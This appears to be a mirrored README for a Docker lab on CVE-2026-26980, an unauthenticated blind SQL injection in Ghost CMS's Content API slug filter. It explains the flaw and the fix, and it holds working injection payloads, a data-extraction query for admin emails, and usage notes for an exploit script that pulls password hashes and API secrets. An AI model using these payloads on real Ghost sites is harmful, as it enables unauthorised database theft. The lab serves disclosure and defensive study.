ghost-cve-2026-26980

KO | EN

gitlite — search

#react #go #linux #nodejs #macos #java #windows #cli #kubernetes #vue #awesome-list #ios #openai #open-source

ghost-cve-2026-26980

(★ 16)

CVE-2026-26980 — Ghost CMS Content API SQL Injection Lab (unauthenticated blind SQLi via slug filter ordering)

ghost-cve-2026-26980 Latest Version Download

Download Latest Version (.zip)

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# CVE-2026-26980 — Ghost CMS Content API SQL Injection Lab

Unauthenticated blind SQL injection in Ghost CMS via the Content API's slug filter ordering mechanism, allowing arbitrary database reads from any Ghost instance without credentials.

| | |
|---|---|
| **CVE** | [CVE-2026-26980](https://nvd.nist.gov/vuln/detail/CVE-2026-26980) |
| **Advisory** | [GHSA-w52v-v783-gw97](https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97) |
| **CVSS** | 9.4 (Critical) |
| **CWE** | CWE-89 (SQL Injection) |
| **Affected** | Ghost 3.24.0 -- 6.19.0 |
| **Fixed** | Ghost 6.19.1 |
| **Auth required** | None (Content API key is public by design) |
| **Credit/References** | Nicholas Carlini using Claude, Anthropic [https://www.youtube.com/watch?v=1sd26pWhfmg] |

> **Disclaimer** -- This lab is for authorised security testing, education, and defensive research only. Do not use against systems you do not own or have explicit permission to test.

## Overview

Ghost's Content API supports filtering tags and posts by slug using array notation: `filter=slug:[tag-a,tag-b]`. Internally, a helper function builds an `ORDER BY CASE` statement to preserve the requested slug order. Before v6.19.1, user-supplied slug values were interpolated directly into this SQL without parameterisation:

```javascript
// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (VULNERABLE)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;
```

The Content API key is embedded in every Ghost site's HTML (`data-key="..."`), making this a fully unauthenticated attack surface.

## Vulnerability Mechanism

### The NQL Bypass

Ghost's NQL query language validates filter input and rejects raw single quotes or spaces. However, NQL accepts single-quote-wrapped values inside array notation (`slug:['value']`), passing the quotes through as part of the literal. The `slugFilterOrder` regex extracts these values and interpolates them -- quotes included -- into the SQL:

```
Filter:  slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
                ^                                          ^
                NQL passes quotes through as literal chars
```

### Generated SQL

After interpolation the ORDER BY becomes:

```sql
CASE
  WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
  WHEN `tags`.`slug` = 'news' THEN 1
END ASC
```

In MySQL's default SQL mode, `||` is `OR` and `''` is falsy. This gives us a clean boolean oracle:

| Condition | CASE result | Effect |
|---|---|---|
| TRUE  | `'' OR 0 OR ''` = 0 | Normal response (HTTP 200) |
| FALSE | `'' OR EXP(710) OR ''` | DOUBLE overflow error (HTTP 500) |

### Data Extraction

With the oracle established, standard binary-search blind extraction applies:

```
slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]
```

The `SUBSTR(... FROM pos FOR len)` syntax avoids commas (which `slugFilterOrder` splits on).

## Screenshots

### Boolean Oracle: TRUE condition (HTTP 200) vs FALSE condition (HTTP 500)

| TRUE (1=1) &rarr; HTTP 200 | FALSE (1=0) &rarr; HTTP 500 |
|---|---|
| ![TRUE](https://raw.githubusercontent.com/dinosn/ghost-cve-2026-26980/main/screenshots/04-sqli-true-200.png) | ![FALSE](https://raw.githubusercontent.com/dinosn/ghost-cve-2026-26980/main/screenshots/05-sqli-false-500.png) |

### Binary Search Data Extraction

![Data Extraction](https://raw.githubusercontent.com/dinosn/ghost-cve-2026-26980/main/screenshots/06-data-extraction.png)

### Fix Validation: v6.18.0 vs v6.19.1

![Fix Validation](https://raw.githubusercontent.com/dinosn/ghost-cve-2026-26980/main/screenshots/07-fix-validation.png)

<details>
<summary>More screenshots</summary>

#### Ghost Frontend
![Ghost Frontend](https://raw.githubusercontent.com/dinosn/ghost-cve-2026-26980/main/screenshots/01-ghost-frontend.png)

#### Content API Key in Page Source
![API Key](https://raw.githubusercontent.com/dinosn/ghost-cve-2026-26980/main/screenshots/02-content-api-key.png)

#### Normal API Response
![Normal Request](https://raw.githubusercontent.com/dinosn/ghost-cve-2026-26980/main/screenshots/03-normal-api-request.png)

</details>

## The Fix (v6.19.1)

The fix replaces string interpolation with parameterised bindings:

```javascript
// FIXED
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);
```

The `crud.js` plugin was updated to thread bindings through `orderByRaw`, and `@tryghost/bookshelf-plugins` was bumped to 0.6.29 which adds binding support.

## Lab Setup

### Prerequisites

- Docker & Docker Compose
- Python 3.8+ with `requests`

### Quick Start

```bash
# Clone and enter the lab
git clone <this-repo> && cd ghost-cve-2026-26980

# Install Python dependency
pip install -r requirements.txt

# Start the vulnerable Ghost instance (6.18.0 + MySQL 8)
docker compose up -d

# Wait ~45 seconds for Ghost to initialise, then run the exploit
python3 exploit.py --url http://localhost:2368
```

### Validate the Fix

```bash
# Also start the patched Ghost 6.19.1 on port 2369
docker compose --profile fixed up -d

# Wait ~45 seconds, then confirm the fix blocks the injection
python3 exploit.py --url http://localhost:2369 --validate-fix
```

### One-Command Validation

```bash
bash validate.sh
```

### Teardown

```bash
docker compose --profile fixed down -v
```

## Exploit Usage

```
usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
                  [--extract-api-key] [--content-key KEY] [-v]

options:
  --url URL            Ghost URL (default: http://localhost:2368)
  --validate-fix       Confirm the target is NOT vulnerable
  --extract-password   Also extract admin bcrypt hash
  --extract-api-key    Also extract admin API secret
  --content-key KEY    Skip setup, use this Content API key directly
  -v, --verbose        Show per-query oracle results
```

### Example Output

```
====================================================
CVE-2026-26980 — Ghost CMS Content API SQL Injection
====================================================

[*] Waiting for Ghost at http://localhost:2368 ready
[*] Setting up Ghost (admin: admin@ghost-poc.local)
[+] Setup complete — establishing session
[+] Logged in
[+] Content API key: ad63c06a71457583ea58f050c1
[+] Anchor slug: news

[*] Phase 1 — boolean blind verification
  CASE WHEN 1=1:  200 (TRUE)
  CASE WHEN 1=0:  500 (FALSE)
  [+] Boolean oracle confirmed — VULNERABLE

[*] Phase 2a — extracting admin email
  Measuring length of admin email... 21 chars
  Extracting: admin@ghost-poc.local
  [+] Email: admin@ghost-poc.local

============================================================
  EXPLOITATION SUMMARY
============================================================
  Target:        http://localhost:2368
  CVE:           CVE-2026-26980
  Content key:   ad63c06a71457583ea58f050c1
  Admin email:   admin@ghost-poc.local
============================================================
```

## Also Fixed in v6.19.1: CVE-2026-29053 (RCE via Themes)

A second vulnerability was patched in the same release. Ghost's `{{#get}}` Handlebars helper used the `jsonpath` package (which depends on `static-eval`) to resolve path expressions. Malicious themes could craft expressions that reached `Function()` via prototype traversal, achieving server-side code execution.

| | |
|---|---|
| **CVE** | CVE-2026-29053 |
| **Affected** | Ghost 0.7.2 -- 6.19.0 |
| **Auth** | Admin (theme upload) |
| **Fix** | Replaced `jsonpath` with a restricted `querySimplePath()` function that only supports dot-notation, `[N]`, and `[*]` |

This lab focuses on CVE-2026-26980 as it is unauthenticated and more impactful for external attackers.

## Files

```
.
├── README.md              # This file
├── docker-compose.yml     # Ghost 6.18.0 (vuln) + 6.19.1 (fixed) with MySQL 8
├── exploit.py             # Full PoC: setup, verify, extract
├── validate.sh            # End-to-end validation wrapper
└── requirements.txt       # Python dependencies
```

## References

- [Ghost Security Advisory GHSA-w52v-v783-gw97](https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97)
- [NVD Entry CVE-2026-26980](https://nvd.nist.gov/vuln/detail/CVE-2026-26980)
- [Fix Commit: SQL injection in Content API slug filter ordering](https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91)
- [Fix Commit: Replaced jsonpath with custom path resolver](https://github.com/TryGhost/Ghost/commit/cf31ddfbecc600448578765e1d4f4ae8f1442ade)
- [CVE-2026-29053 Writeup (Hidden Investigations)](https://hiddeninvestigations.net/blog/remote-code-execution-in-ghost-cms-cve-2026-29053-when-a-theme-becomes-a-server-side-execution-primitive)

## License

This lab is provided for educational and authorised security testing purposes under the MIT License.

ghost-cve-2026-26980

ghost-cve-2026-26980 Latest Version Download

Today's picks

Was this content helpful?

Recent Feedback

ghost-cve-2026-26980

ghost-cve-2026-26980 Latest Version Download

Today's picks

Was this content helpful?

Recent Feedback

Download README